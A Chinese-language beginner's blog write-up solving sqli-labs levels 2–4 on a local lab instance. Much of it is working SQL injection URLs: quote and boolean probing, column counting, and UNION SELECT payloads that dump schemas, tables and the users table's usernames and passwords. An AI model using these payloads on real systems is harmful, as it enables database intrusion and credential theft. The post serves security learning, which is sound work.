【Day4】sqli-labs Less 2-4

本博文仅用于信息安全防御教学,请遵守中华人民共和国网络安全法!!

在本文前,我推荐像我一样的noob可以在前几关的php文件里加入如下语句,这样可以很清楚的看到每次执行了什么语句更方便学习和构造payload
在这里插入图片描述

sqli-labs Less2

GET - Error based - Intiger based

基于报错的GET整形注入
-------------分割线6/28--------------
从上图的SQL语句我们可以看出来,where条件直接让id=$id这个变量,并没有引号,但是我们知道,where的条件如果是字符型的话,那就必须要加引号,例如select group_concat(table_name) from information_schema.tables where table_schema='security’
,并且条件是数字时不用加引号.所以可能存在数字型注入。
-------------分割线6/28--------------
首先我们根据题目提示输入id=1

127.0.0.1/sqli/Less-2/?id=1
在这里插入图片描述
我们用常用的单引号,发现页面报错,说明页面未对单引号进行过滤,且有可能存在SQL注入

http://127.0.0.1/sqli/Less-2/?id=1%27

(单引号被URL编码为%27)
在这里插入图片描述
然后我们先假设为整形注入来判断,发现此时页面和之前无差别

http://127.0.0.1/sqli/Less-2/?id=1 and 1=1

在这里插入图片描述
我们在输入以下url,发现页面未报错,但是没有显示内容

http://127.0.0.1/sqli/Less-2/?id=1 and 1=2
在这里插入图片描述
通过以上测试我们可以确定可能存在整形注入

接下来我们判断字段长度,然后发现有三个字段

http://127.0.0.1/sqli/Less-2/?id=1 order by 4

在这里插入图片描述
在这里插入图片描述
然后我们判断回显位置,发现只有2,3位置回显

http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,3

在这里插入图片描述
接下来的操作就和Less-1一样了对其进行一系列爆破操作

http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata

在这里插入图片描述
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
在这里插入图片描述
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
在这里插入图片描述
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(concat_ws(',',username,password)) from users

上图是爆破的一系列操作,因为跟Less-1一样所以我就不赘述了,而且上图依然是部分密码(屏幕大小有限)

sqli-labs Less3

GET - Error based - Single quotes with twist - string

基于报错的单引号变形的GET字符型注入

按照惯例我们还是根据提示输入id

http://127.0.0.1/sqli/Less-3/?id=1
在这里插入图片描述
然后我们加了两个语句后,发现它的id外面有括号,那就意味着我们有可能要在这里动手脚了,然后我分别试以下语句

http://127.0.0.1/sqli/Less-3/?id=1'
在这里插入图片描述
http://127.0.0.1/sqli/Less-3/?id=1' and 1=1
在这里插入图片描述
http://127.0.0.1/sqli/Less-3/?id=1' and 1=1)--+
在这里插入图片描述
发现最后一种语句,页面成功显示,所以我们的重点就是闭合单引号以及注释掉多余的括号

http://127.0.0.1/sqli/Less-3/?id=1' )--+
在这里插入图片描述
接下来的操作和Less1和Less2一致,我也不做过多赘述直接上图

http://127.0.0.1/sqli/Less-3/?id=1' ) order by 4--+
在这里插入图片描述
http://127.0.0.1/sqli/Less-3/?id=1' ) order by 3--+
在这里插入图片描述
http://127.0.0.1/sqli/Less-3/?id=-1' ) union select 1,2,3--+
在这里插入图片描述
http://127.0.0.1/sqli/Less-3/?id=-1' ) union select 1,2,group_concat(schema_name) from information_schema.schemata--+
在这里插入图片描述
http://127.0.0.1/sqli/Less-3/?id=-1' ) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
在这里插入图片描述
http://127.0.0.1/sqli/Less-3/?id=-1' ) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
在这里插入图片描述
http://127.0.0.1/sqli/Less-3/?id=-1' ) union select 1,2,group_concat(concat_ws(':',username,password)) from users--+
在这里插入图片描述
自此爆破又结束了,其实前三关只有注入时的差别,其他的都没有区别

sqli-labs Less4

GET - Error based - Double Quotes - String

基于报错的双引号GET注入

Less4和其他三个不同的是它是以双引号来包括变量的,只是一个是单引号,而Less4是双引号,道理一样。废话不多说,直接做题。

http://127.0.0.1/sqli/Less-4/?id=1

在这里插入图片描述
http://127.0.0.1/sqli/Less-4/?id=1'
这时发现加了单引号,页面没有报错,说明有可能题目是了双引号,接下来我们试一下双引号
在这里插入图片描述
http://127.0.0.1/sqli/Less-4/?id=1"
在这里插入图片描述
发现加入双引号页面报错,说明上述猜想是正确的,接下来最重要的就是要闭合双引号,以及注释没用的语句,其实原理很简单,照着Less3就可以改了

http://127.0.0.1/sqli/Less-4/?id=1")--+
在这里插入图片描述
程序没报错,且和一开始页面无差别,说明我们构造成功,接下来的一系列操作与上述一样,因为我是初学者,所以我做文字赘述,直接上图。

http://127.0.0.1/sqli/Less-4/?id=1") order by 4--+
在这里插入图片描述
http://127.0.0.1/sqli/Less-4/?id=1") order by 3--+
在这里插入图片描述
http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,3--+
在这里插入图片描述
http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata--+
在这里插入图片描述
http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
在这里插入图片描述
http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
在这里插入图片描述
http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(concat_ws(':',username,password)) from users--+
在这里插入图片描述
至此,Less4的用户名及密码我们也爆破出来了其实总结Less1-Less4,其实题目的爆破过程都是一样的,不一样的就是如何构造payload和合适的注释让SQL语句向你想的方向进行,从Less5开始难度感觉就变难了,有了盲注和双重注入,作为小白的我在3天掌握了第一阶段的学习我自己感觉还是比较满意的。我会在后续做完后面的题,来继续更新。

本文原创,难免会有纰漏,烦请大家多多指教

by:lyy

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值